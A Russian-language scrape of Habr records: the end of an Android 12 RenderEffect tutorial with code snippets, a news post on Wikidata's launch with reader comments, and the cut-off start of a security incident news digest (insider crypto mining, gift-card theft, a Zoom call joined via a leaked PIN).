data-src="https://habrastorage.org/getpro/habr/upload_files/7f6/a13/f1f/7f6a13f1fe448036cc275c2d6bc90360.png"/><figcaption></figcaption></figure><p>Однако, в этом случае мы не сможем задавать направление, в котором должна отбрасываться тень, или ее цвет. Также тень для Elevation по умолчанию работает только с формами скругленного прямоугольника (круг и прямоугольник – частные случаи прямоугольника со скругленными углами). Для тени другой формы нужно реализовать ViewOutlineProvider, чтобы он возвращал Outline с setPath(...), а это может быть весьма трудоемко.</p><p>Кастомную тень можно создать и с помощью xml, прописав &lt;shape> с градиентом:</p><pre><code class="xml">&lt;gradient android:type="radial" android:centerColor="#90000000" android:gradientRadius="70dp" android:startColor="@android:color/white" android:endColor="@android:color/transparent"/></code></pre><figure class=""><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/985/23c/e9e/98523ce9e6d9e0a054f85e0afea0c914.png" width="504" height="314" data-src="https://habrastorage.org/getpro/habr/upload_files/985/23c/e9e/98523ce9e6d9e0a054f85e0afea0c914.png"/><figcaption></figcaption></figure><p>Мы получили тень круглой формы, ложащуюся от белого круга одинаково во всех направлениях – то есть сверху она такой же длины, что и снизу. Но мы все же не сможем таким способом сделать тень сложной формы.</p><p>Сначала для сравнения покажем, как можно реализовать аналогичную тень круглой формы с помощью RenderEffect. Создаем круг серого цвета:</p><pre><code class="xml">&lt;shape android:shape="oval"> &lt;solid android:color="#CCCCCC" /> &lt;/shape></code></pre><p>Затем этот drawable устанавливаем в качестве содержимого ImageView и применяем размытие к ImageView:</p><pre><code class="kotlin">imageView.setImageResource(R.drawable.gray_circle) val renderEffect = RenderEffect.createBlurEffect(20f, 20f, Shader.TileMode.CLAMP) imageView.setRenderEffect(renderEffect)</code></pre><figure class=""><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/208/9fa/54c/2089fa54cf5b41aa3bf5661723dec6b1.png" width="492" height="294" data-src="https://habrastorage.org/getpro/habr/upload_files/208/9fa/54c/2089fa54cf5b41aa3bf5661723dec6b1.png"/><figcaption></figcaption></figure><p>А вот как с помощью RenderEffect можно добиться тени произвольной формы и, если понадобится, произвольного цвета:</p><pre><code class="xml">&lt;ImageView android:id="@+id/shadow" android:layout_width="150dp" android:layout_height="150dp" android:src="@drawable/ic_baseline_time_to_leave_24" android:tint="#444444"/></code></pre><pre><code class="kotlin">val effect = RenderEffect.createBlurEffect(10f, 10f, Shader.TileMode.CLAMP) imageViewfindViewById&lt;ImageView>(R.id.shadow).setRenderEffect(effect)</code></pre><figure class=""><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/c88/10c/a72/c8810ca7299ceb6232d220588f240e0c.png" width="352" height="358" data-src="https://habrastorage.org/getpro/habr/upload_files/c88/10c/a72/c8810ca7299ceb6232d220588f240e0c.png"/><figcaption></figcaption></figure><p>Если попробовать сделать размытие с разными значениями радиуса, например, 20 по горизонтали и 0 по вертикали, то получится эффект, похожий на <strong>смазанный снимок</strong>. </p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/f46/ba1/509/f46ba15095c87d456c6c3605748a4a42.png" width="900" height="1600" data-src="https://habrastorage.org/getpro/habr/upload_files/f46/ba1/509/f46ba15095c87d456c6c3605748a4a42.png"/><figcaption></figcaption></figure><p>Всего есть семь видов RenderEffect:</p><ul><li><p><strong>Bitmap</strong> – отрисовывает содержимое битмапа. Обычно используется в цепочке для наложения последующих эффектов.</p></li><li><p><strong>Blur</strong> – размытие по оси X и Y.</p></li><li><p><strong>ColorFilter</strong> – применяется цветной фильтр (см. скриншот ниже).</p></li><li><p><strong>Offset </strong>– сдвиг по осям X, Y (жаль, что нет поворота).</p></li><li><p><strong>Shader</strong> – отрисовывает шейдер, переданный в аргументах. С помощью шейдеров можно создавать, например,  различные градиенты.</p></li><li><p><strong>Chain</strong> – комбинация 2 эффектов. Результат отрисовки одного эффекта используется как источник для второго эффекта.</p></li><li><p><strong>BlendMode</strong> – для объединения 2 эффектов в определенном режиме.</p></li></ul><p>Можно добиться красивого эффекта “<strong>замерзшего стекла</strong>” (или “запотевшего окна”): он достигается сочетанием размытия и наложения прозрачно-белого цвета.</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/eae/489/e76/eae489e76715fa0be37b371b0ac781b0.png" width="900" height="1600" data-src="https://habrastorage.org/getpro/habr/upload_files/eae/489/e76/eae489e76715fa0be37b371b0ac781b0.png"/><figcaption></figcaption></figure><p>Применим такой эффект к панели внизу экрана. Фактически здесь надо сочетать три эффекта: отрисовка битмапа + размытие + цветной фильтр. К сожалению, нельзя сделать так, чтобы размывалась та часть UI, которая отрисована под вьюшкой. Поэтому RenderEffect нужно применить не к самой панели, а к тому, что находится под ней и содержит фоновое изображение: к imageView или к корневому layout-у. Комбинировать эффекты можно 2 способами: передавать один эффект в параметр create-метода другого эффекта, либо использовать метод createChainEffect(): </p><pre><code class="kotlin">val bmpEffect = RenderEffect.createBitmapEffect(...) val blurBmpEffect = RenderEffect.createBlurEffect(..., bmpEffect, ..) val finalEffect = RenderEffect.createColorFilterEffect(..., blurBitmapEffect)</code></pre><p>или</p><pre><code class="kotlin">val finalEffect = RenderEffect.createChainEffect(colorEffect, blurEffect)</code></pre><p>Приведем пример наложения <strong>цветного фильтра</strong>: </p><pre><code class="kotlin">val argb = Color.valueOf(red, green, blue, transparency).toArgb() val colorEffect = RenderEffect.createColorFilterEffect( PorterDuffColorFilter(argb, PorterDuff.Mode.SRC_ATOP) )</code></pre><p>Результат: </p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/e7f/5c1/5cc/e7f5c15cc116769bb32fc8857585883a.png" width="900" height="1600" data-src="https://habrastorage.org/getpro/habr/upload_files/e7f/5c1/5cc/e7f5c15cc116769bb32fc8857585883a.png"/><figcaption></figcaption></figure><p>Или можно с помощью цветного фильтра поменять насыщенность изображения: </p><pre><code class="kotlin">val matrix = ColorMatrix() matrix.setSaturation(0f) imageView.setRenderEffect(RenderEffect.createColorFilterEffect(ColorMatrixColorFilter(matrix)))</code></pre><p>Результат для setSaturation(0f) и setSaturation(100f): </p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/b51/a0c/8a2/b51a0c8a2584bbd857439887cc04a72a.png" width="1810" height="1600" data-src="https://habrastorage.org/getpro/habr/upload_files/b51/a0c/8a2/b51a0c8a2584bbd857439887cc04a72a.png"/><figcaption></figcaption></figure><h3>BlendMode</h3><p>С помощью метода RenderEffect.createBlendModeEffect() можно объединить два эффекта в одном из режимов: </p><ul><li><p>CLEAR</p></li><li><p>SRC</p></li><li><p>DST</p></li><li><p>SRC_OVER</p></li><li><p>DST_OVER</p></li><li><p>SRC_IN</p></li><li><p>DST_IN</p></li><li><p>SRC_OUT</p></li><li><p>DST_OUT</p></li><li><p>SRC_ATOP</p></li><li><p>DST_ATOP</p></li><li><p>XOR</p></li><li><p>PLUS</p></li><li><p>MODULATE</p></li><li><p>SCREEN</p></li><li><p>OVERLAY</p></li><li><p>DARKEN</p></li><li><p>LIGHTEN</p></li><li><p>COLOR_DODGE</p></li><li><p>COLOR_BURN</p></li><li><p>HARD_LIGHT</p></li><li><p>SOFT_LIGHT</p></li><li><p>DIFFERENCE</p></li><li><p>EXCLUSION</p></li><li><p>MULTIPLY</p></li><li><p>HUE</p></li><li><p>SATURATION</p></li><li><p>COLOR</p></li><li><p>LUMINOSITY</p></li></ul><p>Подробное описание режимов можно посмотреть <a href="https://developer.android.com/reference/android/graphics/BlendMode">здесь</a>. Для примера приведем три режима (здесь источник, то есть первый RenderEffect – это синий квадрат, а приемник, то есть второй Render Effect – красный круг):</p><figure class=""><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/b05/399/a4c/b05399a4cf8f03dc3d9b2925bc7b89fb.png" alt="DST_ATOP выбрасывает пиксели, которые не накладываются на источник. " title="DST_ATOP выбрасывает пиксели, которые не накладываются на источник. " width="256" height="256" data-src="https://habrastorage.org/getpro/habr/upload_files/b05/399/a4c/b05399a4cf8f03dc3d9b2925bc7b89fb.png"/><figcaption>DST_ATOP выбрасывает пиксели, которые не накладываются на источник. </figcaption></figure><figure class=""><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/d9b/8a5/e9b/d9b8a5e9b287dba9ef062d3f61b76060.png" alt="OVERLAY умножает цвета." title="OVERLAY умножает цвета." width="256" height="256" data-src="https://habrastorage.org/getpro/habr/upload_files/d9b/8a5/e9b/d9b8a5e9b287dba9ef062d3f61b76060.png"/><figcaption>OVERLAY умножает цвета.</figcaption></figure><figure class=""><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/c03/619/3fe/c036193fe7b06e0308ee4e445547187c.png" alt="COLOR сохраняет оттенок и насыщенность источника, а яркость делает как у приемника." title="COLOR сохраняет оттенок и насыщенность источника, а яркость делает как у приемника." width="256" height="256" data-src="https://habrastorage.org/getpro/habr/upload_files/c03/619/3fe/c036193fe7b06e0308ee4e445547187c.png"/><figcaption>COLOR сохраняет оттенок и насыщенность источника, а яркость делает как у приемника.</figcaption></figure><p>Как уже упоминалось выше, RenderEffect работает крайне эффективно. При скролле RecyclerView с большим количеством элементов, у которых размыто по две ImageView (размытие с параметрами radiusX: 20f, radiusY: 20f, Shader.TileMode.CLAMP), никаких подтормаживаний не наблюдается. Размытие вью с анимацией тоже работает без задержек. В настоящий момент работа RenderEffect была проверена автором на эмуляторе Android 12 (API 31). </p><p>Что касается поддержки RenderEffect API, можно надеяться, что она будет добавлена в библиотеке AndroidX  для Android 10 и 11, так как Render Nodes, лежащие в основе RenderEffect, были добавлены в Android 10 (API level 29). Однако, как пишут в <a href="https://developer.android.com/about/versions/12/features#rendereffect"><u>официальной документации</u></a>, Render Effect могут поддерживать не все устройства: “Different Android devices may or may not support the feature due to limited processing power”.</p><p>Отметим также, что Render Effect является одним из вариантов замены для RenderScript API, который устарел <a href="https://developer.android.com/guide/topics/renderscript/migrate">начиная с Android 12</a>. </p><h2>Заключение</h2><p>Итак, в Android 12 мы получили то, чего так долго не хватало многим разработчикам – простой API для отрисовки визуальных эффектов. Сочетая простые эффекты (размытие, цветные фильтры, шейдеры), мы можем получать интересные графические результаты. При этом больше не нужно возиться с вытаскиванием bitmap-изображения, эффект можно просто повесить на вьюшку. А благодаря использованию RenderNodes, отрисовка RenderEffect работает очень быстро. </p><p><strong>Спасибо за внимание! Надеемся, что наш опыт был вам полезен.</strong></p></div>
mobileSimbirSoft
null
null
<p>Иногда бывает нужно размыть задний план на экранах мобильного приложения, например в чате. Теперь это можно сделать всего парой строк кода. В Android 12 появился новый API <a href="https://developer.android.com/reference/android/graphics/RenderEffect"><u>Render Effect</u></a>, который позволяет накладывать визуальные эффекты на Canvas или View. Этот API радует своей простотой и высокой скоростью отрисовки. Наибольший интерес представляет Render Effect для&nbsp;размытия (BlurEffect), но в этой статье мы затронем и остальные виды эффектов. Материал может быть полезен не только андроид-разработчикам, но и дизайнерам мобильных приложений.</p>
Иногда бывает нужно размыть задний план на экранах мобильного приложения, например в чате. Теперь это можно сделать всего парой строк кода. В Android 12 появился новый API Render Effect, который позволяет накладывать визуальные эффекты на Canvas или View. Этот API радует своей простотой и высокой скоростью отрисовки. Наибольший интерес представляет Render Effect для размытия (BlurEffect), но в этой статье мы затронем и остальные виды эффектов. Материал может быть полезен не только андроид-разработчикам, но и дизайнерам мобильных приложений.
article
1,621,578,024
{ "commentsCount": 3, "favoritesCount": 17, "readingCount": 7229, "score": 6, "votesCount": 6, "votesCountPlus": 6, "votesCountMinus": 0 }
[]
[ "simbirsoft", "mobile_dev", "android_dev", "apps_design" ]
[ "develop", "design" ]
[ "android", "android 12", "render effect", "blur", "color filter" ]
6
null
null
{ "id": [ 23070002, 23070532, 23483232 ], "parent_id": [ null, 23070002, null ], "level": [ 0, 1, 0 ], "time_published": [ 1621809883, 1621839090, 1631637383 ], "score": [ 0, 0, 0 ], "votes": [ 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>Перерисовываться будут только те части UI, которые оказались в состоянии invalidated.</p></blockquote><p>Но ведь при размытии границы элементов начинают пересекаться. И тогда перерисовывать нужно и соседние элементы, а это каскадом тянет всю сцену целиком</p><p>Но наверное каждый элемент сцены отрисовывается в свой буфер, а потом уже происходит их композиция?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы правы, Render Effect перерисует соседние элементы. При этом анализироваться будет вся иерархия UI, но не обязательно при этом будет перерисована вся сцена.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>К сожалению, нельзя сделать так, чтобы размывалась та часть UI, которая отрисована под вьюшкой. Поэтому RenderEffect нужно применить не к самой панели, а к тому, что находится под ней и содержит фоновое изображение: к imageView или к корневому layout-у. </p></blockquote><p>Вот на код, к которому относится этот текст, хотелось бы посмотреть целиком. Фактически основной use-case, но так с ходу то, что приведено на картинке и не сделаешь!</p></div>" ], "message_markdown": [ "> Перерисовываться будут только те части UI, которые оказались в состоянии invalidated.\nНо ведь при размытии границы элементов начинают пересекаться. И тогда перерисовывать нужно и соседние элементы, а это каскадом тянет всю сцену целиком\nНо наверное каждый элемент сцены отрисовывается в свой буфер, а потом уже происходит их композиция?", "Вы правы, Render Effect перерисует соседние элементы. При этом анализироваться будет вся иерархия UI, но не обязательно при этом будет перерисована вся сцена.", "> К сожалению, нельзя сделать так, чтобы размывалась та часть UI, которая отрисована под вьюшкой. Поэтому RenderEffect нужно применить не к самой панели, а к тому, что находится под ней и содержит фоновое изображение: к imageView или к корневому layout-у.\nВот на код, к которому относится этот текст, хотелось бы посмотреть целиком. Фактически основной use-case, но так с ходу то, что приведено на картинке и не сделаешь!" ], "author": [ "Максим (fshp)", "mobileSimbirSoft", "AlexSkvortsov" ], "children": [ [ 23070532 ], [], [] ] }
141,150
ru
https://habr.com/ru/post/141150/
Wikidata: первый новый проект Wikimedia Foundation с 2006 года
Wikimedia Foundation собирается запустить сайт Wikidata — «открытую базу знаний о мире, которую могут читать и редактировать как люди, так и машины». Проект будут вести на всех языках, доступных в Wikimedia, и он должен стать неким центральным и единым хранилищем данных для всех проектов Wikimedia, примерно как Wikimedia Commons является центральным хранилищем мультимедийных файлов для всех остальных проектов. Главная суть Wikidata — снабжать структурированной информацией компьютерные программы. Должен существовать некий единый формат и общий способ для всех компьютеров, как извлекать знания о мире, будь то информация о часовых поясах, координаты городов мира или дни рождения актёров. Все эти данные должны быть доступны компьютерам через единый интерфейс. Первоначальный запуск Wikidata стал возможен благодаря целевым пожертвованиям Allen Institute for Artificial Intelligence, Gordon and Betty Moore Foundation и компании Google. Wikidata — далеко не первая попытка структурировать данные в Wikimedia, такие проекты пытались запустить и раньше, но безуспешно. То же самое можно сказать о попытке превратить весь интернет в Семантическую сеть, понятную для компьютеров. Поскольку это не удалось, то можно хотя бы сделать прообраз Семантической сети в рамках одного сайта Wikidata. В последнее время вовсю начали работать универсальные системы анализа данных вроде Wolfram Alpha, так что востребованность базы знаний, доступной через машинный интерфейс, стала ещё больше. Нужно добавить, что некоторые проекты уже сейчас пытаются вытягивать данные из Википедии и публиковать их в структурированном виде: например, Freebase и DBpedia. Это ещё раз говорит о востребованности проекта Wikidata, который станет в своём роде канонической версией базы знаний, которая также будет сообщать источник информации для каждого факта.
<div xmlns="http://www.w3.org/1999/xhtml">Wikimedia Foundation собирается запустить сайт <a href="http://meta.wikimedia.org/wiki/Wikidata">Wikidata</a> — «открытую базу знаний о мире, которую могут читать и редактировать как люди, так и машины». Проект будут вести на всех языках, доступных в Wikimedia, и он должен стать неким центральным и единым хранилищем данных для всех проектов Wikimedia, примерно как Wikimedia Commons является центральным хранилищем мультимедийных файлов для всех остальных проектов.<br/> <br/> Главная суть Wikidata — снабжать структурированной информацией компьютерные программы. Должен существовать некий единый формат и общий способ для всех компьютеров, как извлекать знания о мире, будь то информация о часовых поясах, координаты городов мира или дни рождения актёров. Все эти данные должны быть доступны компьютерам через единый интерфейс.<br/> <a name="habracut"></a><br/> Первоначальный запуск Wikidata стал возможен благодаря целевым пожертвованиям Allen Institute for Artificial Intelligence, Gordon and Betty Moore Foundation и компании Google.<br/> <br/> Wikidata — далеко не первая попытка структурировать данные в Wikimedia, такие проекты <a href="http://meta.wikimedia.org/wiki/Wikidata/Archive">пытались запустить и раньше</a>, но безуспешно. То же самое можно сказать о попытке превратить весь интернет в Семантическую сеть, понятную для компьютеров. Поскольку это не удалось, то можно хотя бы сделать прообраз Семантической сети в рамках одного сайта Wikidata.<br/> <br/> В последнее время вовсю начали работать универсальные системы анализа данных вроде Wolfram Alpha, так что востребованность базы знаний, доступной через машинный интерфейс, стала ещё больше. <br/> <br/> Нужно добавить, что некоторые проекты уже сейчас пытаются вытягивать данные из Википедии и публиковать их в структурированном виде: например, <a href="http://www.freebase.com/">Freebase</a> и <a href="http://dbpedia.org/About">DBpedia</a>. Это ещё раз говорит о востребованности проекта Wikidata, который станет в своём роде канонической версией базы знаний, которая также будет сообщать источник информации для каждого факта.</div>
Анатолий Ализар (alizar)
null
null
Wikimedia Foundation собирается запустить сайт <a href="http://meta.wikimedia.org/wiki/Wikidata">Wikidata</a> — «открытую базу знаний о мире, которую могут читать и редактировать как люди, так и машины». Проект будут вести на всех языках, доступных в Wikimedia, и он должен стать неким центральным и единым хранилищем данных для всех проектов Wikimedia, примерно как Wikimedia Commons является центральным хранилищем мультимедийных файлов для всех остальных проектов.<br/> <br/> Главная суть Wikidata — снабжать структурированной информацией компьютерные программы. Должен существовать некий единый формат и общий способ для всех компьютеров, как извлекать знания о мире, будь то информация о часовых поясах, координаты городов мира или дни рождения актёров. Все эти данные должны быть доступны компьютерам через единый интерфейс.<br/>
Wikimedia Foundation собирается запустить сайт Wikidata — «открытую базу знаний о мире, которую могут читать и редактировать как люди, так и машины». Проект будут вести на всех языках, доступных в Wikimedia, и он должен стать неким центральным и единым хранилищем данных для всех проектов Wikimedia, примерно как Wikimedia Commons является центральным хранилищем мультимедийных файлов для всех остальных проектов. Главная суть Wikidata — снабжать структурированной информацией компьютерные программы. Должен существовать некий единый формат и общий способ для всех компьютеров, как извлекать знания о мире, будь то информация о часовых поясах, координаты городов мира или дни рождения актёров. Все эти данные должны быть доступны компьютерам через единый интерфейс.
article
1,333,214,642
{ "commentsCount": 10, "favoritesCount": 22, "readingCount": 1711, "score": 20, "votesCount": 24, "votesCountPlus": 22, "votesCountMinus": 2 }
[]
[ "microformats", "sw" ]
[ "develop" ]
[ "Wikidata", "Wikimedia Foundation", "искусственный интеллект", "AI", "банк данных", "база знаний" ]
2
null
null
{ "id": [ 4718911, 4718912, 4718951, 4719022, 4719772, 4720054, 4720265, 4728549, 4728560, 4728573 ], "parent_id": [ null, null, null, 4718951, 4719022, null, null, null, null, 4718912 ], "level": [ 0, 0, 0, 1, 2, 0, 0, 0, 0, 1 ], "time_published": [ 1333216068, 1333216072, 1333217217, 1333218810, 1333259678, 1333270470, 1333277506, 1333535036, 1333535288, 1333535469 ], "score": [ 0, 0, -1, 0, 1, 1, 2, 0, 0, 0 ], "votes": [ 0, 0, 5, 2, 1, 1, 2, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Очень классно! Давно ждал чего то подобного!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Пока рано вроде. В статье ссылка на метапедию, она существует всегда и на ней всегда много страниц о планируемых проектах. А вот домен <a href=\"http://wikidata.org\">wikidata.org</a> пока редиректит на википедию.<br/>\r\n<br/>\r\nНе совсем в тему: было бы круто иметь википедию на каком-нибудь из <a href=\"http://en.wikipedia.org/wiki/List_of_constructed_languages#Knowledge_representation\">языков представления знаний</a>.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Появление Skynet не за горами… </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это как-то связано с днями рождения известных актеров, к примеру?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В «Хрониках Сары Коннор» терминатор «Скайнета» уничтожает актёра Джорджа Лазло и принимает его имя.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Неужели многогодовое «стояние» на месте заканчивается и начинают мелькать тени будущих рисованных туманных перспектив? :))</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>можно хотя бы сделать прообраз Семантической сети в рамках одного сайта Wikidata</blockquote><br/>\r\nWikipedia стала тем, чем изначально должен был стать Web. Поэтому верю что Wikidata может стать тем, чем изначально должен был стать Semantic Web.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> То же самое можно сказать о попытке превратить весь интернет в Семантическую сеть, понятную для компьютеров. Поскольку это не удалось, то можно хотя бы сделать прообраз Семантической сети в рамках одного сайта Wikidata.<br/>\r\n<br/>\r\nДа что ж вы воспринимаете семантиквеб как какой-то проект построения коммунизма. Это НЕ ТАК. HTML5 Microdata, RDfa, Schema.org, терабайты государственных данных, Google Freebase, Dbpedia и этот ваш Bing, который не так давно был Powerset'ом — вот семантиквеб сегодня. Очерк дяди Тима в Scientific American — это не задача, которую нужно было решить за 10 лет, но не получилось решить. Это просто цель, к которой все и идут. <br/>\r\n<br/>\r\nНикто никогда не будет пытаться «превратить весь интернет в Семантическую сеть» (и переименует кто-нибудь наконец этот бложик в Semantic Web или на худой конец «Семантическая паутина»?) — это противоречит распределённости и демократичности веба. Но вот выкладывать в сеть побольше данных, структурировать их получше и договариваться о том, чтобы описания были более или менее совместимые — это делается и будет продолжать делаться дальше. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну, это был негатив, а так — спасибо за пост! Еще хочется добавить, что руководителем проекта стал Денни Вландечич, один из создателей Semantic MediaWiki. А еще — что свежую информацию можно получать через список рассылки<a href=\"https://lists.wikimedia.org/mailman/listinfo/wikidata-l\"> вот тут</a> </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Попробуйте Dbpedia, я уже и <a href=\"http://wiki.ailab.ifmo.ru/index.php/%D0%AF%D0%B7%D1%8B%D0%BA%D0%B8_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%BE%D0%B2_%D0%BA_%D1%81%D0%B5%D0%BC%D0%B0%D0%BD%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%BC_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%BC\">лабораторные студентам задаю по ней</a><br/>\r\n<br/>\r\nНапример: <br/>\r\n<code>Вывести список форматов открытых стандартов форматов мультимедиаконтейнера, которые являются открытыми и свободными, не имеющим патентных или лицензионных ограничений. </code><br/>\r\n<br/>\r\nОтвет: <br/>\r\n<code>SELECT DISTINCT ?name ?free ?license WHERE <br/>\r\n{ <br/>\r\n ?a rdf:type dbpedia-owl:Software. <br/>\r\n ?a dbpprop:name ?name..<br/>\r\n ?a dbpprop:free ?free.<br/>\r\n ?a dbpprop:license ?license.<br/>\r\n FILTER( regex(?free, \"Yes\", \"i\" ) ) <br/>\r\n FILTER( regex(?license, \"BSD-style license\", \"i\" ) ) <br/>\r\n} </code> <br/>\r\n<br/>\r\nна dbpedia.org/sparql</div>" ], "message_markdown": [ "Очень классно! Давно ждал чего то подобного!", "Пока рано вроде. В статье ссылка на метапедию, она существует всегда и на ней всегда много страниц о планируемых проектах. А вот домен wikidata.org пока редиректит на википедию.\nНе совсем в тему: было бы круто иметь википедию на каком-нибудь из языков представления знаний.", "Появление Skynet не за горами...", "Это как-то связано с днями рождения известных актеров, к примеру?", "В «Хрониках Сары Коннор» терминатор «Скайнета» уничтожает актёра Джорджа Лазло и принимает его имя.", "Неужели многогодовое «стояние» на месте заканчивается и начинают мелькать тени будущих рисованных туманных перспектив? :))", "> можно хотя бы сделать прообраз Семантической сети в рамках одного сайта Wikidata\nWikipedia стала тем, чем изначально должен был стать Web. Поэтому верю что Wikidata может стать тем, чем изначально должен был стать Semantic Web.", "> То же самое можно сказать о попытке превратить весь интернет в Семантическую сеть, понятную для компьютеров. Поскольку это не удалось, то можно хотя бы сделать прообраз Семантической сети в рамках одного сайта Wikidata.\nДа что ж вы воспринимаете семантиквеб как какой-то проект построения коммунизма. Это НЕ ТАК. HTML5 Microdata, RDfa, Schema.org, терабайты государственных данных, Google Freebase, Dbpedia и этот ваш Bing, который не так давно был Powerset'ом — вот семантиквеб сегодня. Очерк дяди Тима в Scientific American — это не задача, которую нужно было решить за 10 лет, но не получилось решить. Это просто цель, к которой все и идут.\nНикто никогда не будет пытаться «превратить весь интернет в Семантическую сеть» (и переименует кто-нибудь наконец этот бложик в Semantic Web или на худой конец «Семантическая паутина»?) — это противоречит распределённости и демократичности веба. Но вот выкладывать в сеть побольше данных, структурировать их получше и договариваться о том, чтобы описания были более или менее совместимые — это делается и будет продолжать делаться дальше.", "Ну, это был негатив, а так — спасибо за пост! Еще хочется добавить, что руководителем проекта стал Денни Вландечич, один из создателей Semantic MediaWiki. А еще — что свежую информацию можно получать через список рассылки вот тут", "Попробуйте Dbpedia, я уже и лабораторные студентам задаю по ней\nНапример:\n`Вывести список форматов открытых стандартов форматов мультимедиаконтейнера, которые являются открытыми и свободными, не имеющим патентных или лицензионных ограничений. `\nОтвет:\n`SELECT DISTINCT ?name ?free ?license WHERE\n{\n?a rdf:type dbpedia-owl:Software.\n?a dbpprop:name ?name..\n?a dbpprop:free ?free.\n?a dbpprop:license ?license.\nFILTER( regex(?free, \"Yes\", \"i\" ) )\nFILTER( regex(?license, \"BSD-style license\", \"i\" ) )\n} `\nна dbpedia.org/sparql" ], "author": [ "alesto (alesto)", "Lockal", "Ivan Velichko (iximiuz)", "dordzhiev", "Mithgol the Webmaster (Mithgol)", "Виталий Юшкевич (yushkevichv)", "xexsus (xexsus)", "Юрий Катков (ganqqwerty)", "Юрий Катков (ganqqwerty)", "Юрий Катков (ganqqwerty)" ], "children": [ [], [ 4728573 ], [ 4719022 ], [ 4719772 ], [], [], [], [], [], [] ] }
530,546
ru
https://habr.com/ru/post/530546/
(не) Безопасный дайджест: сливы COVID-пациентов и незваный гость на министерской встрече в Zoom
Привет! Продолжая традицию, собрали «классические» и нетривиальные ИБ-инциденты, о которых писали зарубежные и российские СМИ в ноябре. И кстати, всех причастных – с международным днем защиты информации! ### У них #### Аэромайнинг Что случилось: Сотрудники аэропорта в итальянском городе Ламеция-Терме обнаружили аномалии в работе ИТ-систем и обратились в транспортную полицию. В ходе расследования полицейские нашли в технических помещениях ферму для майнинга Ethereum, подключенную к электросети аэропорта. Кто виноват: Майнером оказался 41-летний техник компании-подрядчика Sacal, которая управляет аэропортами в провинции Калабрия. Мужчина отвечал за работу компьютерной инфраструктуры воздушного хаба. Он установил вредоносное ПО и использовал ИТ-мощности Sacal для майнинга криптовалюты. Выйти на след злоумышленника помогли камеры видеонаблюдения. О наказании СМИ не пишут, но предполагаем, что как минимум работы в Sacal мужчина лишился. #### Купонщик-миллионер Что случилось: Из онлайн-магазина Microsoft пропали подарочные сертификаты на 10 млн долларов. Кто виноват: Вором оказался инженер компании Владимир Квашук (гражданин Украины), причем его «темные дела» оставались незамеченными на протяжении семи месяцев. Чтобы скрыть следы, он подключался к платформе через учетные записи коллег и использовал «сервисы для смешивания биткоинов» (позволяют «смешать» цифровую валюту из разных источников в одном большом хранилище и тем самым обеспечить конфиденциальность ее владельцам). На вырученные деньги инженер купил дом на берегу озера и автомобиль Tesla. Еще 2,8 млн долларов он перевел на свои банковские счета. А чтобы не попасться налоговой, указал в декларации, что биткоины ему подарил родственник. Махинацию все же раскрыли, хотя расследование, по признанию правоохранителей, было непростым и потребовало от полиции специальных знаний по кибербезопасности. В итоге Квашука уволили, суд приговорил его к девяти годам тюрьмы за 18 преступлений. Он должен выплатить компании 8,3 млн долларов. А после тюремного заключения его могут депортировать в Украину. #### «Культурный» обмен Что случилось: Офис шерифа округа Санта-Клара в Калифорнии уличили в торговле разрешениями на ношение оружия. Фигурантом дела стал руководитель службы безопасности Apple. Кто виноват: Окружная прокуратура Санта-Клары обвинила во взяточничестве руководителя службы безопасности Apple Томаса Мойера и двух помощников шерифа. По мнению следствия, топ-менеджер компании договорился с офисом шерифа «обменять» четыре лицензии на скрытое ношение оружия на 200 новых планшетов Apple iPad стоимостью 70 тыс. долларов. Адвокат Мойера заявил, что подзащитный собирался передать планшеты офису шерифа в рамках совместного проекта по подготовке кадров. И этот факт не связан с обращением Мойера за разрешением на ношение оружия. Разбирательство только начинается, но очевидно, что 14-летний стаж работы в Apple вряд ли убережет сотрудника от увольнения. А случай красноречиво доказывает, что контроль топ-менеджеров – насущная ИБ-проблема, а не излишняя подозрительность. #### «Мне только спросить!» Что случилось: Журналист из Нидерландов Даниэль Верлаан подключился к закрытому Zoom-совещанию министров обороны стран ЕС, чем заметно смутил чиновников. Кто виноват: О встрече Верлаан узнал из Twitter, где министр обороны Нидерландов Анка Бийлевельда опубликовала серию фотографий, на которых она работает из дома во время конференции. На фото попал экран ее ноутбука с PIN-кодом для доступа к вызову. Это позволило журналисту подключиться к беседе. После короткого диалога с шокированными министрами он отключился со словами: «Прошу прощения, что прерываю вашу конференцию, я ухожу». Пока непонятно, ждет ли Верлаана наказание за взлом закрытой встречи. Премьер-министр Нидерландов Марк Рютте публично высказался об инциденте, указав на грубую ошибку Бийлевельды и службы безопасности, которая должна пресекать подобные случаи. Онлайн-совещания вошли в практику не только политиков, но и сотрудников на удаленке еще со времен первой волны коронавируса. Казалось бы, секретному совещанию такого формата не место в Zoom, который неоднократно обвиняли в наличии уязвимостей. Но, как видим, воз и ныне там и возле него щедро рассыпаны грабли. #### Провальный тест Что случилось: В открытом доступе оказались персданные 16 млн бразильцев, заболевших COVID-19, в том числе информация о президенте страны Жаире Болсонару, семи министрах и 17 